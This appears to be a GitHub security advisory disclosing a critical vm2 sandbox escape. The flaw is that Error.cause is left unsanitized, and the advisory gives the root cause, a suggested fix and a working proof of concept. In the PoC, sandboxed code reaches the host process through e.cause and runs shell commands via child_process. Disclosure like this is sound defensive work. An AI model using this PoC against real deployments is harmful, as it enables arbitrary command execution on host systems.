GHSA-m283-3h24-438v: Critical severity npm/vm2 vulnerability

Affected: vm2 <= 3.11.3 CVSS 3.1: 9.9 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) CWE: CWE-693 (Protection Mechanism Failure) Prerequisite: Embedder exposes a host function that throws an Error with .cause referencing a powerful host object (e.g., process)

Summary

I found that handleException() in lib/setup-sandbox.js recursively sanitizes sub-errors for SuppressedError and AggregateError, but completely ignores the ES2022 Error.cause property. When sandbox code catches a host-thrown error carrying a .cause that references a host object like process, it can traverse that reference to achieve arbitrary command execution on the host.

The project's own docs/ATTACKS.md (Defense Invariant #3, line 54) explicitly claims Error.cause is sanitized. The implementation does not match this claim.

Root Cause

The handleException function (lines 869-959 of lib/setup-sandbox.js) walks the prototype chain of caught errors looking for SuppressedError and AggregateError. When it finds them, it recursively sanitizes their contained errors (.error, .suppressed, .errors[]). For all other error types, it returns e directly at line 958 without inspecting .cause.

javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; // ... cycle detection ... while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); // sanitized e.suppressed = handleException(e.suppressed, visited); // sanitized return e; } if (proto === localAggregateErrorProto) { // sanitizes e.errors[] ... return e; } proto = localReflectGetPrototypeOf(proto); } return e; // .cause is NEVER checked }

Error.cause was introduced in ES2022 (Node 16.9+). When handleException was extended to cover SuppressedError (for ES2024 using declarations) and AggregateError, the .cause property was simply overlooked.

Affected Code

- lib/setup-sandbox.js:869-959, the handleException function (missing .cause handling) - lib/setup-sandbox.js:886, ensureThis wraps the error but does not recurse into .cause - docs/ATTACKS.md:54, Defense Invariant #3 falsely claims .cause is covered

Reproduction

Embedder code that exposes a function throwing with .cause set to process:

javascript const { VM } = require('vm2');

const vm = new VM({ sandbox: { hostFn: () => { throw new Error('fail', { cause: process }); } } });

const result = vm.run( try { hostFn(); } catch (e) { // .cause is not sanitized, so we get a direct reference to host process const proc = e.cause; proc.mainModule.require('childprocess').execSync('id').toString(); } );

console.log(result);

Verified output:

uid=502(vladimir.tokarev) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),...

Full RCE confirmed.

Impact

Any application using vm2 where an embedder-exposed function throws an Error with .cause referencing a host object is vulnerable. The attacker gains:

- Full host process access (read/write files, spawn processes, network access) - Sandbox escape with changed scope (CVSS S:C) - No user interaction required

The prerequisite (embedder throwing with .cause) is increasingly common. Error chaining via new Error('msg', { cause: originalError }) is standard practice in modern Node.js code. Library wrappers, database adapters, and HTTP clients routinely chain errors this way.

Suggested Fix

Add .cause sanitization before the prototype-chain walk, so it applies to all error types:

javascript function handleException(e, visited) { e = ensureThis(e); if (e === null || (typeof e !== 'object' && typeof e !== 'function')) return e; if (!visited) visited = new LocalWeakMap(); if (apply(localWeakMapGet, visited, [e])) return e; apply(localWeakMapSet, visited, [e, true]);

// Sanitize .cause on ALL errors (ES2022) try { if ('cause' in e) { e.cause = handleException(e.cause, visited); } } catch (ex) { / best effort / }

let proto = localReflectGetPrototypeOf(e); while (proto !== null) { if (proto === localSuppressedErrorProto) { e.error = handleException(e.error, visited); e.suppressed = handleException(e.suppressed, visited); return e; } if (proto === localAggregateErrorProto) { if (localArrayIsArray(e.errors)) { for (let i = 0; i < e.errors.length; i++) { e.errors[i] = handleException(e.errors[i], visited); } } return e; } proto = localReflectGetPrototypeOf(proto); } return e; }

docs/ATTACKS.md Defense Invariant #3 should also be updated to reflect reality until this fix ships.

Artifacts

| File | Role | |------|------| | pocerrorcauseescape.js | PoC demonstrating sandbox escape to RCE via unsanitized .cause | pocerrorcauseescape.js